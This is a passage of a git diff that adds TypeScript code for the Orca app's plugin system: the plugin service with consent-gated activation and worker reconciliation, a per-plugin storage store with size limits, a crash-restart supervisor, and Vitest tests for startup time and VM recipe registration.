+          }
+          await originalReconcile(...args)
+        } finally {
+          activeReconciliations -= 1
+        }
+      })
+
+    const first = harness.service.reconcileActivationState()
+    await firstStartedPromise
+    harness.setDisabled([pluginKey])
+    const second = harness.service.reconcileActivationState()
+    let clientsReleased = false
+    const clientsReady = harness.service.whenReady().then(() => {
+      clientsReleased = true
+    })
+
+    await Promise.resolve()
+    expect(reconcile).toHaveBeenCalledTimes(1)
+    expect(clientsReleased).toBe(false)
+    releaseFirst()
+    await Promise.all([first, second, clientsReady])
+
+    expect(maximumConcurrentReconciliations).toBe(1)
+    expect(clientsReleased).toBe(true)
+    expect(reconcile).toHaveBeenCalledTimes(2)
+    expect(harness.service.activationState(harness.service.findValidPlugin(pluginKey)!)).toBe(
+      'disabled'
+    )
+    expect(harness.service.workerState(pluginKey).state).toBe('inactive')
+  })
+})
diff --git a/src/main/plugins/plugin-service.ts b/src/main/plugins/plugin-service.ts
new file mode 100644
index 000000000..9f214cc83
--- /dev/null
+++ b/src/main/plugins/plugin-service.ts
@@ -0,0 +1,336 @@
+import type { PluginEventName } from '../../shared/plugins/plugin-manifest'
+import {
+  capabilityKinds,
+  type PluginCapabilityKind
+} from '../../shared/plugins/plugin-capabilities'
+import {
+  getPluginActivationState,
+  type PluginConsentLists
+} from '../../shared/plugins/plugin-consent-state'
+import type { PluginPanelActionOutcome } from '../../shared/plugins/plugin-panel-bridge'
+import {
+  createPluginExtensionRegistry,
+  type PluginExtensionRegistry
+} from '../../shared/plugins/plugin-extension-registry'
+import {
+  discoverPlugins,
+  getPluginsDataDir,
+  getUserPluginsDir,
+  isInvalidDiscoveredPlugin,
+  type DiscoveredPlugin,
+  type ValidDiscoveredPlugin
+} from './plugin-discovery'
+import { PluginEventBus } from './plugin-event-bus'
+import { PluginAuditLog } from './plugin-audit-log'
+import { executePluginHostCallRequest } from './plugin-host-call-adapter'
+import { PluginContentVerifier } from './plugin-content-integrity'
+import { bindPluginHostServices, type PluginRuntimeDelegate } from './plugin-host-service-bindings'
+import { PluginLogBuffer, type PluginLogLine } from './plugin-log-buffer'
+import { PluginPanelController } from './plugin-panel-controller'
+import { PluginWorkerController } from './plugin-worker-controller'
+import { PluginServiceHousekeeping } from './plugin-service-housekeeping'
+import { collectApprovedWorkerSpecs } from './plugin-worker-reconciliation'
+import type { PluginRunState } from './plugin-supervisor'
+import { isPluginApproved, snapshotPluginConsentLists } from './plugin-activation-policy'
+import { PluginContentPackRegistry } from './plugin-content-pack-registry'
+import type { PluginServiceOptions } from './plugin-service-options'
+import type { PluginChangeEvent } from '../../shared/plugins/plugin-change-event'
+import { waitForPluginRefreshSettlement } from './plugin-refresh-settlement'
+import { assertPluginWorkerCommand } from './plugin-command-invocation'
+import { deliverPluginEvent } from './plugin-event-delivery'
+
+export type { PluginRuntimeDelegate } from './plugin-host-service-bindings'
+export type { PluginLogLine } from './plugin-log-buffer'
+export type { PluginServiceOptions } from './plugin-service-options'
+
+export class PluginService {
+  readonly options: PluginServiceOptions
+  private readonly registry: PluginExtensionRegistry = createPluginExtensionRegistry()
+  private readonly eventBus = new PluginEventBus()
+  private readonly audit: PluginAuditLog
+  private readonly workerController: PluginWorkerController
+  private readonly logBuffer = new PluginLogBuffer()
+  private readonly contentVerifier = new PluginContentVerifier()
+  readonly contentPacks: PluginContentPackRegistry
+  readonly panels: PluginPanelController
+  private readonly changeListeners = new Set<(event: PluginChangeEvent) => void>()
+  private readonly housekeeping = new PluginServiceHousekeeping()
+  private discovered: DiscoveredPlugin[] = []
+  private runtimeDelegate: PluginRuntimeDelegate | null = null
+  private initPromise: Promise<void> | null = null
+  private refreshChain: Promise<void> = Promise.resolve()
+  private contentPacksReady = false
+  private disposed = false
+
+  constructor(options: PluginServiceOptions) {
+    this.options = options
+    this.contentPacks = new PluginContentPackRegistry(this.contentVerifier)
+    this.audit = new PluginAuditLog(getPluginsDataDir(options.userDataPath))
+    this.panels = new PluginPanelController({
+      resolveApprovedPlugin: (pluginKey) => {
+        const plugin = this.findValidPlugin(pluginKey)
+        return plugin && this.isRuntimeApproved(plugin) ? plugin : null
+      },
+      contentVerifier: this.contentVerifier,
+      executeHostCall: (pluginKey, method, params) =>
+        this.executeHostCall(pluginKey, method, params, { viaPanel: true }),
+      log: (pluginKey, line) => this.logBuffer.append(pluginKey, 'error', line)
+    })
+    this.workerController = new PluginWorkerController({
+      entryPath: options.hostEntryPath ?? '',
+      maxActive: options.maxActiveWorkers,
+      idleReapMs: options.idleReapMs,
+      workerFactory: options.workerFactory,
+      registry: this.registry,
+      contentVerifier: this.contentVerifier,
+      capabilities: (pluginKey) => this.getGrantedCapabilities(pluginKey),
+      isCurrentApproved: (plugin) =>
+        this.findValidPlugin(plugin.pluginKey) === plugin && this.isRuntimeApproved(plugin),
+      invokeCommand: (pluginKey, commandId, args) => this.invokeCommand(pluginKey, commandId, args),
+      executeHostCall: (pluginKey, method, params) =>
+        this.executeHostCall(pluginKey, method, params, { viaPanel: false }),
+      log: (pluginKey, level, line) => this.logBuffer.append(pluginKey, level, line),
+      onStateChanged: () => this.notifyChanged(false),
+      onWorkerGone: (pluginKey) => this.eventBus.clear(pluginKey)
+    })
+  }
+
+  setRuntimeDelegate(delegate: PluginRuntimeDelegate | null): void {
+    this.runtimeDelegate = delegate
+  }
+
+  onChanged(listener: (event: PluginChangeEvent) => void): () => void {
+    this.changeListeners.add(listener)
+    return () => this.changeListeners.delete(listener)
+  }
+
+  private notifyChanged(contentPacksChanged: boolean): void {
+    for (const listener of this.changeListeners) {
+      listener({ contentPacksChanged })
+    }
+  }
+
+  async initialize(): Promise<void> {
+    this.initPromise ??= this.refresh()
+    return this.initPromise
+  }
+
+  async whenReady(): Promise<void> {
+    await (this.initPromise ?? Promise.resolve()).catch(() => undefined)
+    // Client reads wait for the complete transaction so rollback-based content
+    // validation cannot expose a partially activated plugin between passes.
+    await waitForPluginRefreshSettlement(() => this.refreshChain)
+  }
+
+  refresh(): Promise<void> {
+    // Snapshot settings at request time so a quick off→on sequence still
+    // processes the off transition and revokes old workers/panel sessions.
+    const enabled = this.options.isPluginSystemEnabled()
+    const devPaths = this.options.getDevPluginPaths()
+    const consentLists = snapshotPluginConsentLists(this.options)
+    const refresh = this.refreshChain.then(() =>
+      this.performRefresh(enabled, devPaths, consentLists)
+    )
+    this.refreshChain = refresh.catch(() => undefined)
+    return refresh
+  }
+
+  private async performRefresh(
+    enabled: boolean,
+    devPaths: string[],
+    consentLists: PluginConsentLists
+  ): Promise<void> {
+    if (this.disposed) {
+      return
+    }
+    this.contentPacksReady = false
+    this.contentVerifier.clear()
+    if (!enabled) {
+      this.panels.revokeAll()
+    }
+    const next = enabled
+      ? await discoverPlugins({
+          pluginsDir: getUserPluginsDir(this.options.userDataPath),
+          devPluginPaths: devPaths,
+          hostVersion: this.options.hostVersion
+        })
+      : []
+    if (this.disposed) {
+      return
+    }
+    // Publish identity before shutdown so triggers cannot restart old code.
+    this.discovered = next
+    await this.contentPacks.reconcile(
+      next,
+      (plugin) => isPluginApproved(enabled, plugin, consentLists),
+      this.options.getKeybindings?.()
+    )
+    this.contentPacksReady = true
+    const nextSpecs = collectApprovedWorkerSpecs(next, (plugin) => this.isRuntimeApproved(plugin))
+    // Notify before slow shutdown so feature-off unmounts panels immediately.
+    this.notifyChanged(true)
+    await this.workerController.reconcile(nextSpecs)
+    if (this.disposed) {
+      return
+    }
+    this.housekeeping.sync({
+      enabled,
+      devPaths,
+      reapIdle: () => this.workerController.reapIdle(),
+      refresh: () => void this.refresh()
+    })
+    this.notifyChanged(false)
+  }
+
+  getDiscovered(): readonly DiscoveredPlugin[] {
+    return this.discovered
+  }
+
+  getLogs(pluginKey: string): PluginLogLine[] {
+    return this.logBuffer.get(pluginKey)
+  }
+
+  findValidPlugin(pluginKey: string): ValidDiscoveredPlugin | null {
+    for (const plugin of this.discovered) {
+      if (!isInvalidDiscoveredPlugin(plugin) && plugin.pluginKey === pluginKey) {
+        return plugin
+      }
+    }
+    return null
+  }
+
+  activationState(plugin: ValidDiscoveredPlugin): ReturnType<typeof getPluginActivationState> {
+    // The feature flag is an authority boundary, not only a discovery hint:
+    // callers fail closed immediately even before async reconciliation ends.
+    if (!this.options.isPluginSystemEnabled()) {
+      return 'disabled'
+    }
+    return getPluginActivationState(plugin.pluginKey, plugin.consentFingerprint, {
+      pluginConsents: this.options.getPluginConsents(),
+      disabledPlugins: this.options.getDisabledPlugins()
+    })
+  }
+
+  private isRuntimeApproved(plugin: ValidDiscoveredPlugin): boolean {
+    return (
+      this.contentPacksReady &&
+      this.activationState(plugin) === 'approved' &&
+      !this.contentPacks.error(plugin.pluginKey) &&
+      !this.options.getPluginKillListEntry?.(plugin.pluginKey)
+    )
+  }
+
+  workerState(pluginKey: string): { state: PluginRunState; restarts: number } {
+    return this.workerController.state(pluginKey)
+  }
+
+  activationError(pluginKey: string): string | null {
+    const blocked = this.options.getPluginKillListEntry?.(pluginKey)
+    return (
+      (blocked ? `Blocked by Orca's plugin safety list: ${blocked.reason}` : null) ??
+      this.contentPacks.error(pluginKey) ??
+      this.workerController.activationError(pluginKey)
+    )
+  }
+
+  /** Consented capability kinds for an approved plugin; null otherwise so
+   *  callers deny uniformly (no probe-able distinction). */
+  getGrantedCapabilities(pluginKey: string): PluginCapabilityKind[] | null {
+    const plugin = this.findValidPlugin(pluginKey)
+    if (!plugin || !this.isRuntimeApproved(plugin)) {
+      return null
+    }
+    return capabilityKinds(plugin.manifest.capabilities)
+  }
+
+  /** Host API chokepoint for both transports (worker fork IPC + panel
+   *  bridge); serve RPC reuses it through the same entry points. */
+  async executeHostCall(
+    pluginKey: string,
+    method: string,
+    params: unknown,
+    options: { viaPanel: boolean }
+  ): Promise<PluginPanelActionOutcome> {
+    return executePluginHostCallRequest({
+      pluginKey,
+      request: { method, params },
+      viaPanel: options.viaPanel,
+      resolvePolicy: (boundPluginKey) => ({
+        grantedCapabilities: this.getGrantedCapabilities(boundPluginKey),
+        services: this.runtimeDelegate
+          ? bindPluginHostServices({
+              delegate: this.runtimeDelegate,
+              pluginsDataDir: getPluginsDataDir(this.options.userDataPath),
+              subscribeEvents: (key, events) => this.eventBus.subscribe(key, events)
+            })
+          : null,
+        audit: this.audit
+      })
+    })
+  }
+
+  async invokeCommand(pluginKey: string, commandId: string, args?: unknown): Promise<unknown> {
+    const plugin = this.findValidPlugin(pluginKey)
+    if (!plugin || !this.isRuntimeApproved(plugin)) {
+      throw new Error(`plugin ${pluginKey} is not enabled`)
+    }
+    assertPluginWorkerCommand(plugin, commandId)
+    const handle = await this.workerController.ensure(plugin)
+    if (!handle.commands.includes(commandId)) {
+      throw new Error(`plugin ${pluginKey} registered no handler for ${commandId}`)
+    }
+    return handle.invokeCommand(commandId, args)
+  }
+
+  emitEvent(event: PluginEventName, payload: unknown): void {
+    if (!this.options.isPluginSystemEnabled() || this.disposed) {
+      return
+    }
+    deliverPluginEvent({
+      event,
+      payload,
+      plugins: this.discovered,
+      eventBus: this.eventBus,
+      workerController: this.workerController,
+      isRuntimeApproved: (plugin) => this.isRuntimeApproved(plugin),
+      logWarning: (pluginKey, line) => this.logBuffer.append(pluginKey, 'warn', line)
+    })
+  }
+
+  async deactivatePlugin(pluginKey: string): Promise<void> {
+    await this.workerController.deactivate(pluginKey)
+    this.notifyChanged(false)
+  }
+
+  /** Reconciles live workers and client projections after consent or
+   * enablement changes without re-reading plugin files or starting workers. */
+  async reconcileActivationState(): Promise<void> {
+    const reconcile = this.refreshChain.then(() => this.performActivationStateReconciliation())
+    this.refreshChain = reconcile.catch(() => undefined)
+    return reconcile
+  }
+
+  private async performActivationStateReconciliation(): Promise<void> {
+    this.contentPacksReady = false
+    await this.contentPacks.reconcile(
+      this.discovered,
+      (plugin) => this.activationState(plugin) === 'approved',
+      this.options.getKeybindings?.()
+    )
+    this.contentPacksReady = true
+    const nextSpecs = collectApprovedWorkerSpecs(this.discovered, (plugin) =>
+      this.isRuntimeApproved(plugin)
+    )
+    await this.workerController.reconcile(nextSpecs)
+    this.notifyChanged(true)
+  }
+
+  async dispose(): Promise<void> {
+    this.disposed = true
+    this.housekeeping.dispose()
+    this.panels.dispose()
+    await this.refreshChain.catch(() => undefined)
+    await this.workerController.dispose()
+    await this.audit.flush()
+  }
+}
diff --git a/src/main/plugins/plugin-startup-budget.test.ts b/src/main/plugins/plugin-startup-budget.test.ts
new file mode 100644
index 000000000..456aa3822
--- /dev/null
+++ b/src/main/plugins/plugin-startup-budget.test.ts
@@ -0,0 +1,137 @@
+import { mkdir, mkdtemp, readFile, rm, writeFile } from 'node:fs/promises'
+import { tmpdir } from 'node:os'
+import { join } from 'node:path'
+import { performance } from 'node:perf_hooks'
+import { afterAll, beforeAll, describe, expect, it, vi } from 'vitest'
+import { fingerprintPluginConsent } from '../../shared/plugins/plugin-consent-fingerprint'
+import {
+  PLUGIN_MANIFEST_FILENAME,
+  pluginManifestSchema,
+  qualifiedPluginKey,
+  type PluginManifest
+} from '../../shared/plugins/plugin-manifest'
+import { PluginService, type PluginServiceOptions } from './plugin-service'
+import type { PluginWorkerFactory } from './plugin-worker-manager'
+
+const PLUGIN_COUNT = 20
+const SAMPLE_COUNT = 20
+// Real disk I/O, so the number moves with machine load: ~16-34ms idle, higher
+// when the suite saturates the box. Sized to catch an order-of-magnitude
+// regression rather than scheduling noise — the behavioral assertions below
+// (no worker spawned, no plugin code run) are what this test really guards.
+const STARTUP_P95_BUDGET_MS = 400
+
+let userDataPath = ''
+let markerPaths: string[] = []
+let consents: Record<string, string> = {}
+
+function dummyManifest(index: number): PluginManifest {
+  const key = String.fromCharCode('A'.charCodeAt(0) + index)
+  return pluginManifestSchema.parse({
+    manifestVersion: 1,
+    id: `dummy-${index}`,
+    publisher: 'startup-budget',
+    name: `Startup Dummy ${index}`,
+    version: '1.0.0',
+    engines: { orca: '>=1.0.0' },
+    pluginApi: 1,
+    contributes: {
+      panels: [],
+      commands: [
+        {
+          id: 'open',
+          title: `Open Startup Dummy ${index}`,
+          action: 'view.tasks'
+        }
+      ],
+      events: [],
+      keybindings: [{ command: 'open', key: `Mod+Alt+${key}` }],
+      languagePacks: [{ locale: 'pt-BR', path: 'locale.json' }]
+    },
+    capabilities: []
+  })
+}
+
+async function installDummy(index: number): Promise<{ pluginKey: string; markerPath: string }> {
+  const manifest = dummyManifest(index)
+  const pluginKey = qualifiedPluginKey(manifest)
+  const contentHash = (index + 1).toString(16).padStart(64, '0')
+  const pluginDir = join(userDataPath, 'plugins', pluginKey)
+  const versionDir = join(pluginDir, contentHash)
+  const markerPath = join(userDataPath, `activation-${index}.marker`)
+  await mkdir(versionDir, { recursive: true })
+  await Promise.all([
+    writeFile(join(pluginDir, 'current'), contentHash),
+    writeFile(join(versionDir, PLUGIN_MANIFEST_FILENAME), JSON.stringify(manifest)),
+    writeFile(
+      join(versionDir, 'locale.json'),
+      JSON.stringify({ startup: { label: `Startup Dummy ${index}` } })
+    )
+  ])
+  consents[pluginKey] = fingerprintPluginConsent(manifest)
+  return { pluginKey, markerPath }
+}
+
+function nearestRankP95(samples: readonly number[]): number {
+  const sorted = [...samples].sort((left, right) => left - right)
+  return sorted[Math.ceil(sorted.length * 0.95) - 1]!
+}
+
+describe('plugin startup budget', () => {
+  beforeAll(async () => {
+    userDataPath = await mkdtemp(join(tmpdir(), 'orca-plugin-startup-budget-'))
+    const installed = await Promise.all(
+      Array.from({ length: PLUGIN_COUNT }, (_, index) => installDummy(index))
+    )
+    markerPaths = installed.map(({ markerPath }) => markerPath)
+  })
+
+  afterAll(async () => {
+    await rm(userDataPath, { recursive: true, force: true })
+  })
+
+  it('stays below 50ms P95 with 20 approved content packs and executes no plugin code', async () => {
+    const workerFactory = vi.fn<PluginWorkerFactory>(async () => {
+      throw new Error('startup must not create a plugin worker')
+    })
+    const options: PluginServiceOptions = {
+      userDataPath,
+      hostVersion: '1.4.0',
+      isPluginSystemEnabled: () => true,
+      getDisabledPlugins: () => [],
+      getPluginConsents: () => consents,
+      getDevPluginPaths: () => [],
+      workerFactory
+    }
+    const measure = async (): Promise<number> => {
+      const startedAt = performance.now()
+      const service = new PluginService(options)
+      await service.initialize()
+      const elapsedMs = performance.now() - startedAt
+      expect(service.getDiscovered()).toHaveLength(PLUGIN_COUNT)
+      await service.dispose()
+      return elapsedMs
+    }
+
+    await measure()
+    const samples: number[] = []
+    for (let index = 0; index < SAMPLE_COUNT; index += 1) {
+      samples.push(await measure())
+    }
+
+    const p95 = nearestRankP95(samples)
+    if (process.env.ORCA_PLUGIN_STARTUP_BUDGET_REPORT === '1') {
+      process.stdout.write(`plugin startup P95 ${p95.toFixed(2)}ms (${SAMPLE_COUNT} samples)\n`)
+    }
+    expect(workerFactory).not.toHaveBeenCalled()
+    await Promise.all(
+      markerPaths.map((markerPath) =>
+        expect(readFile(markerPath, 'utf8')).rejects.toMatchObject({ code: 'ENOENT' })
+      )
+    )
+    expect(
+      p95,
+      `plugin startup P95 ${p95.toFixed(2)}ms; samples: ${samples.map((sample) => sample.toFixed(2)).join(', ')}`
+    ).toBeLessThan(STARTUP_P95_BUDGET_MS)
+  })
+})
diff --git a/src/main/plugins/plugin-storage-store.test.ts b/src/main/plugins/plugin-storage-store.test.ts
new file mode 100644
index 000000000..579fd3f07
--- /dev/null
+++ b/src/main/plugins/plugin-storage-store.test.ts
@@ -0,0 +1,27 @@
+import { mkdtemp, rm } from 'node:fs/promises'
+import { tmpdir } from 'node:os'
+import { join } from 'node:path'
+import { afterEach, describe, expect, it } from 'vitest'
+import { PLUGIN_STORAGE_VALUE_MAX_BYTES } from '../../shared/plugins/plugin-host-api'
+import { PluginKvStore } from './plugin-storage-store'
+
+const roots: string[] = []
+
+afterEach(async () => {
+  await Promise.all(roots.splice(0).map((root) => rm(root, { recursive: true, force: true })))
+})
+
+describe('PluginKvStore limits', () => {
+  it('enforces the value cap in UTF-8 bytes rather than JavaScript code units', async () => {
+    const root = await mkdtemp(join(tmpdir(), 'orca-plugin-storage-'))
+    roots.push(root)
+    const store = new PluginKvStore(root, 'orca-samples.demo', 'storage.json')
+    const value = '😀'.repeat(Math.ceil(PLUGIN_STORAGE_VALUE_MAX_BYTES / 4) + 1)
+
+    expect(store.set('large', value)).toMatchObject({
+      ok: false,
+      error: expect.stringContaining('exceeds')
+    })
+    expect(store.get('large')).toBeUndefined()
+  })
+})
diff --git a/src/main/plugins/plugin-storage-store.ts b/src/main/plugins/plugin-storage-store.ts
new file mode 100644
index 000000000..b3949b8f6
--- /dev/null
+++ b/src/main/plugins/plugin-storage-store.ts
@@ -0,0 +1,102 @@
+import { existsSync, readFileSync, statSync } from 'node:fs'
+import { join } from 'node:path'
+import { writeSecureFile } from '../../shared/secure-file'
+import { isQualifiedPluginKey } from '../../shared/plugins/plugin-manifest'
+import {
+  PLUGIN_STORAGE_KEY_LIMIT,
+  PLUGIN_STORAGE_TOTAL_MAX_BYTES,
+  PLUGIN_STORAGE_VALUE_MAX_BYTES
+} from '../../shared/plugins/plugin-host-api'
+
+/**
+ * Per-plugin JSON key-value persistence backing both `storage.*` (plugin
+ * data) and `settings.*` (settings:own). Each plugin's data lives in its OWN
+ * file under `<userData>/plugins-data/<publisher>.<id>/` — never a shared
+ * namespaced blob, so one plugin's path can never resolve into another's.
+ * Adapted from community PR #5801's per-plugin settings store.
+ */
+
+export function pluginDataDir(pluginsDataDir: string, qualifiedKey: string): string {
+  if (!isQualifiedPluginKey(qualifiedKey)) {
+    throw new Error(`unsafe plugin key: ${qualifiedKey}`)
+  }
+  return join(pluginsDataDir, qualifiedKey)
+}
+
+export type PluginKvWriteResult = { ok: true } | { ok: false; error: string }
+
+export class PluginKvStore {
+  private readonly filePath: string
+
+  constructor(
+    pluginsDataDir: string,
+    qualifiedKey: string,
+    fileName: 'storage.json' | 'settings.json'
+  ) {
+    this.filePath = join(pluginDataDir(pluginsDataDir, qualifiedKey), fileName)
+  }
+
+  private read(): Record<string, unknown> {
+    try {
+      if (!existsSync(this.filePath)) {
+        return {}
+      }
+      if (statSync(this.filePath).size > PLUGIN_STORAGE_TOTAL_MAX_BYTES) {
+        return {}
+      }
+      const parsed: unknown = JSON.parse(readFileSync(this.filePath, 'utf8'))
+      if (parsed && typeof parsed === 'object' && !Array.isArray(parsed)) {
+        return parsed as Record<string, unknown>
+      }
+    } catch {
+      // Corrupt files reset to empty rather than wedging the plugin.
+    }
+    return {}
+  }
+
+  get(key: string): unknown {
+    return this.read()[key]
+  }
+
+  getAll(): Record<string, unknown> {
+    return this.read()
+  }
+
+  keys(): string[] {
+    return Object.keys(this.read())
+  }
+
+  set(key: string, value: unknown): PluginKvWriteResult {
+    let serialized: string
+    try {
+      serialized = JSON.stringify(value)
+    } catch {
+      return { ok: false, error: 'value is not JSON-serializable' }
+    }
+    if (serialized === undefined) {
+      return { ok: false, error: 'value is not JSON-serializable' }
+    }
+    if (Buffer.byteLength(serialized, 'utf8') > PLUGIN_STORAGE_VALUE_MAX_BYTES) {
+      return { ok: false, error: `value exceeds ${PLUGIN_STORAGE_VALUE_MAX_BYTES} bytes` }
+    }
+    const settings = this.read()
+    if (!Object.hasOwn(settings, key) && Object.keys(settings).length >= PLUGIN_STORAGE_KEY_LIMIT) {
+      return { ok: false, error: `storage exceeds the ${PLUGIN_STORAGE_KEY_LIMIT}-key limit` }
+    }
+    settings[key] = value
+    const nextFile = JSON.stringify(settings, null, 2)
+    if (Buffer.byteLength(nextFile, 'utf8') > PLUGIN_STORAGE_TOTAL_MAX_BYTES) {
+      return { ok: false, error: `storage exceeds ${PLUGIN_STORAGE_TOTAL_MAX_BYTES} bytes` }
+    }
+    writeSecureFile(this.filePath, nextFile)
+    return { ok: true }
+  }
+
+  delete(key: string): void {
+    const settings = this.read()
+    if (Object.hasOwn(settings, key)) {
+      delete settings[key]
+      writeSecureFile(this.filePath, JSON.stringify(settings, null, 2))
+    }
+  }
+}
diff --git a/src/main/plugins/plugin-supervisor.ts b/src/main/plugins/plugin-supervisor.ts
new file mode 100644
index 000000000..f2aea28cc
--- /dev/null
+++ b/src/main/plugins/plugin-supervisor.ts
@@ -0,0 +1,98 @@
+/**
+ * Crash/restart supervision policy for plugin workers — the pure decision
+ * half of the runtime. Decides whether a worker that exited should be
+ * restarted (with backoff) or marked errored after too many crashes.
+ *
+ * Pure + deterministic: callers own the actual timers and forking; this just
+ * tracks per-plugin state and returns decisions. Ported from community PR
+ * #5801 (gsxdsm).
+ */
+
+export type PluginRunState = 'inactive' | 'running' | 'restarting' | 'errored'
+
+export type PluginExitInfo = {
+  /** Clean exit from a host-initiated deactivate vs. an unexpected crash. */
+  crashed: boolean
+}
+
+export type PluginRestartDecision =
+  | { restart: true; delayMs: number; attempt: number }
+  | { restart: false; state: PluginRunState }
+
+export type PluginSupervisionConfig = {
+  /** Max crash-restarts before a plugin is marked errored. `0` means no
+   *  restart attempts — the first crash goes straight to errored. */
+  maxRestarts: number
+  /** Backoff schedule indexed by attempt; the last entry is reused past its
+   *  end. Must be non-empty (enforced in the constructor). */
+  backoffMs: number[]
+}
+
+const DEFAULT_CONFIG: PluginSupervisionConfig = {
+  maxRestarts: 3,
+  backoffMs: [500, 2000, 5000]
+}
+
+type Entry = { state: PluginRunState; restarts: number }
+
+export class PluginSupervisor {
+  private readonly entries = new Map<string, Entry>()
+  private readonly config: PluginSupervisionConfig
+
+  constructor(config: Partial<PluginSupervisionConfig> = {}) {
+    this.config = { ...DEFAULT_CONFIG, ...config }
+    // Guard misconfiguration: an empty backoff schedule would index [-1] →
+    // undefined delay (immediate restart loop); a negative cap is meaningless.
+    if (this.config.maxRestarts < 0) {
+      throw new Error('PluginSupervisionConfig.maxRestarts must be >= 0')
+    }
+    if (this.config.backoffMs.length === 0) {
+      throw new Error('PluginSupervisionConfig.backoffMs must be non-empty')
+    }
+  }
+
+  getState(id: string): PluginRunState {
+    return this.entries.get(id)?.state ?? 'inactive'
+  }
+
+  restartCount(id: string): number {
+    return this.entries.get(id)?.restarts ?? 0
+  }
+
+  /** Mark a plugin as running. A fresh activation (not a restart) resets the
+   *  crash counter so a previously-flaky plugin gets a clean slate. */
+  markRunning(id: string, options: { resetRestarts?: boolean } = {}): void {
+    const prior = this.entries.get(id)
+    this.entries.set(id, {
+      state: 'running',
+      restarts: options.resetRestarts ? 0 : (prior?.restarts ?? 0)
+    })
+  }
+
+  /** Record that the worker exited and decide what to do next. */
+  markExited(id: string, info: PluginExitInfo): PluginRestartDecision {
+    if (!info.crashed) {
+      // Host-initiated stop (or idle reap): go inactive, clear history.
+      this.entries.set(id, { state: 'inactive', restarts: 0 })
+      return { restart: false, state: 'inactive' }
+    }
+    const entry = this.entries.get(id)
+    // An exit for an untracked plugin is not a running crash to restart.
+    if (!entry) {
+      return { restart: false, state: 'inactive' }
+    }
+    if (entry.restarts >= this.config.maxRestarts) {
+      this.entries.set(id, { state: 'errored', restarts: entry.restarts })
+      return { restart: false, state: 'errored' }
+    }
+    const attempt = entry.restarts + 1
+    const idx = Math.max(0, Math.min(entry.restarts, this.config.backoffMs.length - 1))
+    this.entries.set(id, { state: 'restarting', restarts: attempt })
+    return { restart: true, delayMs: this.config.backoffMs[idx]!, attempt }
+  }
+
+  /** Clear all state (deactivate/remove or a manual re-enable). */
+  reset(id: string): void {
+    this.entries.delete(id)
+  }
+}
diff --git a/src/main/plugins/plugin-vm-recipe-registry.test.ts b/src/main/plugins/plugin-vm-recipe-registry.test.ts
new file mode 100644
index 000000000..fd931d79f
--- /dev/null
+++ b/src/main/plugins/plugin-vm-recipe-registry.test.ts
@@ -0,0 +1,169 @@
+import { mkdtemp, mkdir, rm, writeFile } from 'node:fs/promises'
+import { tmpdir } from 'node:os'
+import { join } from 'node:path'
+import { afterEach, describe, expect, it } from 'vitest'
+import { fingerprintPluginConsent } from '../../shared/plugins/plugin-consent-fingerprint'
+import { pluginManifestSchema } from '../../shared/plugins/plugin-manifest'
+import { hashPluginTree } from './plugin-content-hash'
+import type { ValidDiscoveredPlugin } from './plugin-discovery'
+import { PluginVmRecipeRegistry } from './plugin-vm-recipe-registry'
+
+const roots: string[] = []
+
+afterEach(async () => {
+  await Promise.all(roots.splice(0).map((root) => rm(root, { recursive: true, force: true })))
+})
+
+async function recipePlugin(
+  id: string,
+  artifacts: { path: string; recipe: unknown }[]
+): Promise<ValidDiscoveredPlugin> {
+  const rootDir = await mkdtemp(join(tmpdir(), 'orca-plugin-vm-recipe-'))
+  roots.push(rootDir)
+  await mkdir(join(rootDir, 'recipes'))
+  await Promise.all(
+    artifacts.map((artifact) =>
+      writeFile(join(rootDir, artifact.path), JSON.stringify(artifact.recipe), 'utf8')
+    )
+  )
+  const manifest = pluginManifestSchema.parse({
+    manifestVersion: 1,
+    id,
+    publisher: 'orca-samples',
+    name: id,
+    version: '1.0.0',
+    engines: { orca: '>=1.0.0' },
+    pluginApi: 1,
+    contributes: { vmRecipes: artifacts.map((artifact) => ({ path: artifact.path })) },
+    capabilities: []
+  })
+  const content = await hashPluginTree(rootDir)
+  if (!content.ok) {
+    throw new Error(content.error)
+  }
+  return {
+    pluginKey: `orca-samples.${id}`,
+    rootDir,
+    manifest,
+    consentFingerprint: fingerprintPluginConsent(manifest, content.hash),
+    consentContentHash: content.hash,
+    contentHash: null,
+    isDev: true
+  }
+}
+
+function artifact(id: string): {
+  schemaVersion: 1
+  id: string
+  name: string
+  create: string
+  suspend: string
+  resume: string
+  destroy: string
+} {
+  return {
+    schemaVersion: 1,
+    id,
+    name: `Recipe ${id}`,
+    create: `create-${id}`,
+    suspend: `suspend-${id}`,
+    resume: `resume-${id}`,
+    destroy: `destroy-${id}`
+  }
+}
+
+describe('PluginVmRecipeRegistry', () => {
+  it('retains pending previews and exposes only approved recipes', async () => {
+    const plugin = await recipePlugin('recipes', [
+      { path: 'recipes/cloud.json', recipe: artifact('cloud') }
+    ])
+    const registry = new PluginVmRecipeRegistry()
+
+    await registry.reconcile([plugin], () => false)
+
+    expect(registry.list()).toEqual([])
+    expect(registry.preview(plugin.pluginKey)).toMatchObject([
+      { pluginKey: plugin.pluginKey, recipe: { id: 'cloud', create: 'create-cloud' } }
+    ])
+
+    await registry.reconcile([plugin], () => true)
+    expect(registry.list()).toMatchObject([{ recipe: { id: 'cloud' } }])
+  })
+
+  it('rejects malformed artifacts and duplicate ids within one plugin', async () => {
+    const malformed = await recipePlugin('malformed', [
+      {
+        path: 'recipes/bad.json',
+        recipe: { schemaVersion: 1, id: 'bad', name: 'Bad', create: 'create', suspend: 'stop' }
+      }
+    ])
+    const duplicate = await recipePlugin('duplicate', [
+      { path: 'recipes/one.json', recipe: artifact('same') },
+      { path: 'recipes/two.json', recipe: artifact('same') }
+    ])
+    const registry = new PluginVmRecipeRegistry()
+
+    await registry.reconcile([malformed, duplicate], () => true)
+
+    expect(registry.list()).toEqual([])
+    expect(registry.error(malformed.pluginKey)).toContain('suspend and resume')
+    expect(registry.error(duplicate.pluginKey)).toContain('duplicate VM recipe id')
+  })
+
+  it('errors every approved plugin that contributes the same global id', async () => {
+    const first = await recipePlugin('first', [
+      { path: 'recipes/shared.json', recipe: artifact('shared') }
+    ])
+    const second = await recipePlugin('second', [
+      { path: 'recipes/shared.json', recipe: artifact('shared') }
+    ])
+    const registry = new PluginVmRecipeRegistry()
+
+    await registry.reconcile([first, second], () => true)
+
+    expect(registry.list()).toEqual([])
+    expect(registry.error(first.pluginKey)).toContain('multiple plugins')
+    expect(registry.error(second.pluginKey)).toContain('multiple plugins')
+  })
+
+  it('deactivates disabled recipes and removes previews after uninstall', async () => {
+    const plugin = await recipePlugin('lifecycle', [
+      { path: 'recipes/cloud.json', recipe: artifact('cloud') }
+    ])
